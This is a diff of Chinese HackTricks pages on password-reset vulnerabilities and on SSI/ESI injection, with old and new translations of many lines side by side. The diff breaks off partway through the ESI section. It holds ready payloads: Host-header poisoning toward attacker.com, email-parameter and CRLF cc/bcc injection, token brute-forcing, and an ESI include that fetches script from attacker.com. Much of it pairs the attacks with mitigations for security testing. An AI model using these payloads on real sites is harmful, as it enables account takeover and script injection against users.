|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客洞察**\
|
||||
深入了解黑客的刺激和挑战
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和洞察,跟上快节奏的黑客世界
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
||||
随时了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
以下技术汇编摘自 [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
## **通过引用者泄漏密码重置令牌**
|
||||
* 如果HTTP referer头部包含在URL中,可能会泄漏密码重置令牌。当用户在请求密码重置后点击第三方网站链接时可能会发生这种情况。
|
||||
* **影响**:通过跨站请求伪造(CSRF)攻击潜在的账户接管。
|
||||
* **参考**:
|
||||
- [HackerOne报告342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne报告272379](https://hackerone.com/reports/272379)
|
||||
- [密码重置令牌泄漏文章](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## 通过引用来源泄露密码重置令牌
|
||||
## **密码重置中毒**
|
||||
* 攻击者可能在密码重置请求期间操纵主机头部,将重置链接指向恶意站点。
|
||||
* **修补**:使用`$_SERVER['SERVER_NAME']`构建密码重置URL,而不是使用`$_SERVER['HTTP_HOST']`。
|
||||
* **影响**:通过向攻击者泄漏重置令牌导致潜在的账户接管。
|
||||
* **缓解步骤**:
|
||||
- 针对允许域名的白名单验证主机头部。
|
||||
- 使用安全的服务器端方法生成绝对URL。
|
||||
* **参考**:
|
||||
- [Acunetix关于密码重置中毒的文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
**HTTP引用来源**是一个可选的HTTP头字段,用于识别与所请求资源链接的网页地址。引用来源请求头包含了前一个网页的地址,从该网页链接到当前请求的页面
|
||||
## **通过操纵电子邮件参数重置密码**
|
||||
* 攻击者可以通过添加额外的电子邮件参数来操纵密码重置请求,以转移重置链接。
|
||||
* **缓解步骤**:
|
||||
- 在服务器端正确解析和验证电子邮件参数。
|
||||
- 使用准备好的语句或参数化查询来防止注入攻击。
|
||||
* **参考**:
|
||||
- [Readme.com账户接管](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
|
||||
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
||||
## **通过API参数修改任何用户的电子邮件和密码**
|
||||
* 攻击者可以通过修改API请求中的电子邮件和密码参数来更改账户凭据。
|
||||
* **缓解步骤**:
|
||||
- 确保严格的参数验证和身份验证检查。
|
||||
- 实施强大的日志记录和监控以检测和应对可疑活动。
|
||||
* **参考**:
|
||||
- [通过API参数操纵实现完整账户接管](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
### 利用
|
||||
## **无速率限制:电子邮件轰炸**
|
||||
* 在密码重置请求上缺乏基于IP地址或用户账户的速率限制可能导致电子邮件轰炸,使用户被大量重置邮件淹没。
|
||||
* **缓解步骤**:
|
||||
- 基于IP地址或用户账户实施速率限制。
|
||||
- 使用CAPTCHA挑战来防止自动滥用。
|
||||
* **参考**:
|
||||
- [HackerOne报告280534](https://hackerone.com/reports/280534)
|
||||
|
||||
* 向您的电子邮件地址请求密码重置
|
||||
* 点击密码重置链接
|
||||
* 不更改密码
|
||||
* 点击任何第三方网站(例如:Facebook,Twitter)
|
||||
* 在burpsuite代理中拦截请求
|
||||
* 检查引用来源头是否泄露了密码重置令牌。
|
||||
## **查找密码重置令牌生成方式**
|
||||
* 了解令牌生成的模式或方法可以帮助预测或暴力破解令牌。
|
||||
* **缓解步骤**:
|
||||
- 使用强大的加密方法生成令牌。
|
||||
- 确保足够的随机性和长度以防止可预测性。
|
||||
* **工具**:使用Burp Sequencer分析令牌的随机性。
|
||||
|
||||
### 影响
|
||||
## **可猜测的GUID**
|
||||
* 如果GUID(例如,版本1)是可猜测或可预测的,攻击者可能会暴力破解它们以生成有效的重置令牌。
|
||||
* **缓解步骤**:
|
||||
- 使用GUID版本4以获得随机性,或为其他版本实施额外的安全措施。
|
||||
* **工具**:使用[guidtool](https://github.com/intruder-io/guidtool)来分析和生成GUID。
|
||||
|
||||
它允许控制特定网站的人更改用户的密码(CSRF攻击),因为此人知道用户的重置密码令牌。
|
||||
## **响应操纵:用好的响应替换坏的响应**
|
||||
* 操纵HTTP响应以绕过错误消息或限制。
|
||||
* **缓解步骤**:
|
||||
- 实施服务器端检查以确保响应完整性。
|
||||
- 使用安全的通信渠道如HTTPS来防止中间人攻击。
|
||||
* **参考**:
|
||||
- [现场赏金事件中的关键漏洞](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
### 参考:
|
||||
## **使用过期令牌**
|
||||
* 测试过期令牌是否仍然可以用于密码重置。
|
||||
* **缓解步骤**:
|
||||
- 实施严格的令牌过期策略,并在服务器端验证令牌过期。
|
||||
|
||||
* https://hackerone.com/reports/342693
|
||||
* https://hackerone.com/reports/272379
|
||||
* https://hackerone.com/reports/737042
|
||||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||||
## **暴力破解密码重置令牌**
|
||||
* 尝试使用工具如Burpsuite和IP-Rotator暴力破解重置令牌,以绕过基于IP的速率限制。
|
||||
* **缓解步骤**:
|
||||
- 实施强大的速率限制和账户锁定机制。
|
||||
- 监控可疑活动,表明可能存在暴力破解攻击。
|
||||
|
||||
## 密码重置投毒
|
||||
## **尝试使用您的令牌**
|
||||
* 测试攻击者的重置令牌是否可以与受害者的电子邮件一起使用。
|
||||
* **缓解步骤**:
|
||||
- 确保令牌绑定到用户会话或其他用户特定属性。
|
||||
|
||||
如果您发现了主机头攻击,并且它不在范围内,请尝试找到密码重置按钮!
|
||||
## **注销/密码重置中的会话失效**
|
||||
* 确保用户注销或重置密码时会话失效。
|
||||
* **缓解步骤**:
|
||||
- 实施适当的会话管理,确保所有会话在注销或密码重置时失效。
|
||||
|
||||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||||
## **重置令牌过期时间**
|
||||
* 重置令牌应在过期后变为无效。
|
||||
* **缓解步骤**:
|
||||
- 为重置令牌设置合理的过期时间,并在服务器端严格执行。
|
||||
|
||||
### 利用
|
||||
## **额外检查**
|
||||
* 其他测试漏洞的方法,例如使用特殊的电子邮件格式或长密码来引起潜在的拒绝服务(DoS)。
|
||||
* **缓解步骤**:
|
||||
- 进行输入验证并强制长度限制以防止滥用。
|
||||
|
||||
* 在Burpsuite中拦截密码重置请求
|
||||
* 添加以下头或在burpsuite中编辑头(逐个尝试)
|
||||
```
|
||||
Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
X-Forwarded-Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
* 检查电子邮件中更改密码的链接是否指向 attacker.com
|
||||
|
||||
### 补丁
|
||||
|
||||
使用 `$_SERVER['SERVER_NAME']']` 而不是 `$_SERVER['HTTP_HOST']`
|
||||
```php
|
||||
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
||||
```
|
||||
### 影响
|
||||
|
||||
受害者将在他们的电子邮件中收到恶意链接,点击后,将会向攻击者泄露用户的密码重置链接/令牌,导致完全账户接管。
|
||||
|
||||
### 参考资料:
|
||||
|
||||
* https://hackerone.com/reports/226659
|
||||
* https://hackerone.com/reports/167631
|
||||
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
||||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||||
|
||||
## 通过操纵电子邮件参数重置密码
|
||||
|
||||
### 利用
|
||||
|
||||
* 使用 & 添加攻击者电子邮件作为第二参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
* 使用%20将攻击者邮箱添加为第二个参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
* 使用 | 将攻击者邮箱添加为第二个参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
* 使用 cc 将攻击者邮箱添加为第二参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
* 使用 bcc 将攻击者邮箱添加为第二参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
* 使用逗号将攻击者邮箱添加为第二个参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
* 在json数组中添加攻击者邮箱作为第二个参数
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
### 参考资料
|
||||
|
||||
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
||||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||||
|
||||
## 通过API参数更改任何用户的电子邮件和密码
|
||||
|
||||
### 利用
|
||||
|
||||
* 攻击者必须登录他们的账户并转到更改密码功能
|
||||
* 启动Burp Suite并拦截请求
|
||||
* 拦截请求后,将其发送到repeater并修改参数Email和Password
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
### 参考资料
|
||||
|
||||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||||
|
||||
### 无速率限制:电子邮件轰炸 <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
|
||||
### 利用方法
|
||||
|
||||
* 启动Burp Suite并拦截密码重置请求
|
||||
* 发送至入侵者
|
||||
* 使用空负载
|
||||
|
||||
### 参考资料
|
||||
|
||||
* https://hackerone.com/reports/280534
|
||||
* https://hackerone.com/reports/794395
|
||||
|
||||
## 弄清楚密码重置令牌是如何生成的
|
||||
|
||||
找出密码重置令牌的生成模式
|
||||
|
||||
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
||||
|
||||
如果它
|
||||
|
||||
* 基于时间戳生成
|
||||
* 基于用户ID生成
|
||||
* 基于用户电子邮件生成
|
||||
* 基于名字和姓氏生成
|
||||
* 基于出生日期生成
|
||||
* 基于密码学生成
|
||||
|
||||
使用Burp Sequencer来找出令牌的随机性或可预测性。
|
||||
|
||||
## 可猜测的GUID
|
||||
|
||||
有不同类型的GUID:
|
||||
|
||||
* **版本0:** 只在nil GUID("00000000-0000-0000-0000-000000000000")中看到。
|
||||
* **版本1:** GUID的生成方式是可预测的,基于:
|
||||
* 当前时间
|
||||
* 一个随机生成的“时钟序列”,在生成系统的运行时间内保持不变
|
||||
* 一个“节点ID”,如果系统的MAC地址可用,则基于该地址生成
|
||||
* **版本3:** GUID是使用提供的名称和命名空间的MD5哈希生成的。
|
||||
* **版本4:** GUID是随机生成的。
|
||||
* **版本5:** GUID是使用提供的名称和命名空间的SHA1哈希生成的。
|
||||
|
||||
可以查看GUID并找出其版本,有一个小工具可以做到这一点:[**guidtool**](https://github.com/intruder-io/guidtool)****
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
UUID time: 2021-11-17 17:52:18.141000
|
||||
UUID timestamp: 138564643381410000
|
||||
UUID node: 17547390002044
|
||||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
如果用来生成重置密码GUID的版本是版本1,那么可以暴力破解GUID:
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
||||
```
|
||||
### 参考资料
|
||||
|
||||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||||
|
||||
## 响应操作:用正确的响应替换错误的响应
|
||||
|
||||
寻找类似这样的请求和响应
|
||||
```php
|
||||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
更改响应
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
```
|
||||
### 参考资料
|
||||
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### 使用过期的令牌 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* 检查是否可以重复使用过期的令牌
|
||||
|
||||
### 暴力破解密码重置令牌 <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
尝试使用Burpsuite暴力破解重置令牌
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$BRUTE$
|
||||
```
|
||||
### 参考资料
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
### 尝试使用你的令牌 <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* 尝试将你的密码重置令牌添加到受害者的账户
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$YOUR_TOKEN$
|
||||
```
|
||||
### 参考资料
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
## 退出/重置密码时的会话**无效化**
|
||||
|
||||
当用户**登出或重置密码**时,当前会话应该被无效化。\
|
||||
因此,在用户登录状态下,**获取cookies**,然后**登出**,并**检查**这些**cookies**是否仍然**有效**。\
|
||||
重复这个过程,但这次是**更改密码**而不是登出。
|
||||
|
||||
## 重置令牌的过期时间
|
||||
|
||||
**重置令牌必须有一个过期时间**,过了这个时间令牌就不应该有效更改用户的密码。
|
||||
|
||||
## 额外检查
|
||||
|
||||
* 使用 username@burp\_collab.net 并分析回调
|
||||
* 用户抄送 email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* 长密码(>200)会导致DoS
|
||||
* 追加第二个电子邮件参数和值
|
||||
# 参考
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客洞察**\
|
||||
深入了解黑客的刺激和挑战
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和洞察,保持与快节奏黑客世界的同步
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
||||
随时了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载HackTricks的PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,34 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,参加</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 服务器端包含基础信息
|
||||
## 服务器端包含基本信息
|
||||
|
||||
SSI(服务器端包含)是**放置在HTML页面中,在服务器上评估**的指令,当页面被提供服务时。它们让你**向现有HTML页面添加动态生成的内容**,而无需通过CGI程序或其他动态技术来提供整个页面。\
|
||||
例如,你可能会在现有的HTML页面中放置一个指令,如:
|
||||
(定义摘自[这里](https://httpd.apache.org/docs/current/howto/ssi.html))
|
||||
|
||||
SSI(服务器端包含)是放置在HTML页面中的指令,**在服务器上进行评估**,而页面正在提供时。它们允许您**向现有HTML页面添加动态生成的内容**,而无需通过CGI程序或其他动态技术提供整个页面。\
|
||||
例如,您可以将指令放入现有HTML页面中,如:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
当页面被提供服务时,这个片段将被评估并替换为它的值:
|
||||
当提供页面时,此片段将被评估并替换为其值:
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
决定何时使用SSI,何时让您的页面完全由某个程序生成,通常是一个关于页面有多少是静态的,以及每次提供服务时需要重新计算多少的问题。SSI是添加小信息片段的好方法,比如上面显示的当前时间。但是如果您的页面的大部分在提供服务时被生成,您需要寻找其他解决方案。(定义取自[这里](https://httpd.apache.org/docs/current/howto/ssi.html))。
|
||||
何时使用SSI,何时让页面完全由某个程序生成,通常取决于页面有多少是静态的,有多少需要在每次提供页面时重新计算。SSI是向页面添加小块信息的绝佳方式,例如上面显示的当前时间。但是,如果页面的大部分是在提供时生成的,您需要寻找其他解决方案。
|
||||
|
||||
如果Web应用程序使用扩展名为\*\* `.shtml`、`.shtm` 或 `.stm`\*\*的文件,您可以推断出SSI的存在,但这并不是唯一的情况。
|
||||
如果Web应用程序使用扩展名为\*\* `.shtml`、`.shtm`或`.stm` \*\*的文件,则可以推断存在SSI,但情况并非总是如此。
|
||||
|
||||
典型的SSI表达式格式如下:
|
||||
典型的SSI表达式具有以下格式:
|
||||
```
|
||||
<!--#directive param="value" -->
|
||||
```
|
||||
|
@ -64,19 +66,19 @@ SSI(服务器端包含)是**放置在HTML页面中,在服务器上评估**
|
|||
<!--#set var="name" value="Rich" -->
|
||||
|
||||
```
|
||||
## 边缘端包含(Edge Side Inclusion)
|
||||
## 边缘包含
|
||||
|
||||
缓存信息或动态应用程序存在一个问题,因为部分内容在下次检索时可能会**变化**。这就是**ESI**的用途,通过使用ESI标签来指示**需要生成的动态内容**,然后再发送缓存版本。\
|
||||
如果**攻击者**能够在缓存内容中**注入一个ESI标签**,那么他就能够在文档发送给用户之前**注入任意内容**。
|
||||
在缓存信息或动态应用程序时可能会出现问题,因为内容的一部分可能会在下次检索内容时发生变化。这就是ESI的用途,通过使用ESI标记指示需要在发送缓存版本之前生成的动态内容。\
|
||||
如果攻击者能够在缓存内容中注入ESI标记,那么他就可以在将文档发送给用户之前注入任意内容。
|
||||
|
||||
### ESI 检测
|
||||
### ESI检测
|
||||
|
||||
以下**响应头**表明服务器正在使用ESI:
|
||||
从服务器响应中的以下标头表示服务器正在使用ESI:
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
如果找不到这个头部,服务器**可能仍在使用ESI**。\
|
||||
**盲目利用方法也可以使用**,因为请求应该会到达攻击者的服务器:
|
||||
如果您找不到此标头,则服务器**可能仍在使用ESI**。\
|
||||
**也可以使用盲目利用方法**,因为请求应该发送到攻击者的服务器:
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
|
@ -97,34 +99,34 @@ hell<!--esi-->o
|
|||
// Valid for Akamai, sends debug information in the response
|
||||
<esi:debug/>
|
||||
```
|
||||
### ESI 漏洞利用
|
||||
### ESI利用
|
||||
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 创建了一个表格,帮助我们理解针对不同支持 ESI 的软件,根据其支持的功能,我们可以尝试的可能攻击。首先,让我们解释一下下表列名的含义:
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)创建了一个表格,帮助我们了解针对不同支持ESI的软件可以尝试的可能攻击,具体取决于支持的功能。首先让我们解释下面表格中列名的含义:
|
||||
|
||||
* **Includes**: 支持 `<esi:includes>` 指令
|
||||
* **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
|
||||
* **Cookie**: 文档 cookies 可以被 ESI 引擎访问
|
||||
* **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供了头部信息
|
||||
* **Host Allowlist**: 在这种情况下,只能从允许的服务器主机进行 ESI 包含,例如,SSRF 只能针对这些主机进行
|
||||
- **Includes**:支持`<esi:includes>`指令
|
||||
- **Vars**:支持`<esi:vars>`指令。用于绕过XSS过滤器
|
||||
- **Cookie**:文档cookie对ESI引擎可访问
|
||||
- **Upstream Headers Required**:除非上游应用程序提供标头,否则代理应用程序将不会处理ESI语句
|
||||
- **Host Allowlist**:在这种情况下,ESI包含仅可能来自允许的服务器主机,例如,只有对这些主机才可能进行SSRF
|
||||
|
||||
| **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | 是 | 是 | 是 | 是 | 否 |
|
||||
| Varnish Cache | 是 | 否 | 否 | 是 | 是 |
|
||||
| Fastly | 是 | 否 | 否 | 否 | 是 |
|
||||
| Akamai ESI Test Server (ETS) | 是 | 是 | 是 | 否 | 否 |
|
||||
| NodeJS esi | 是 | 是 | 是 | 否 | 否 |
|
||||
| NodeJS nodesi | 是 | 否 | 否 | 否 | 可选 |
|
||||
| Squid3 | 是 | 是 | 是 | 是 | 否 |
|
||||
| Varnish Cache | 是 | 否 | 否 | 是 | 是 |
|
||||
| Fastly | 是 | 否 | 否 | 否 | 是 |
|
||||
| Akamai ESI 测试服务器 (ETS) | 是 | 是 | 是 | 否 | 否 |
|
||||
| NodeJS esi | 是 | 是 | 是 | 否 | 否 |
|
||||
| NodeJS nodesi | 是 | 否 | 否 | 否 | 可选的 |
|
||||
|
||||
#### XSS
|
||||
|
||||
以下 ESI 指令将在服务器的响应中加载任意文件
|
||||
以下ESI指令将在服务器响应中加载任意文件
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
文件 _http://attacker.com/xss.html_ 可能包含像 `<script>alert(1)</script>` 这样的XSS载荷
|
||||
文件 _http://attacker.com/xss.html_ 可能包含类似 `<script>alert(1)</script>` 的 XSS 负载
|
||||
|
||||
#### 绕过客户端XSS保护
|
||||
#### 绕过客户端 XSS 保护
|
||||
```markup
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
|
||||
|
@ -132,53 +134,61 @@ Use <!--esi--> to bypass WAFs:
|
|||
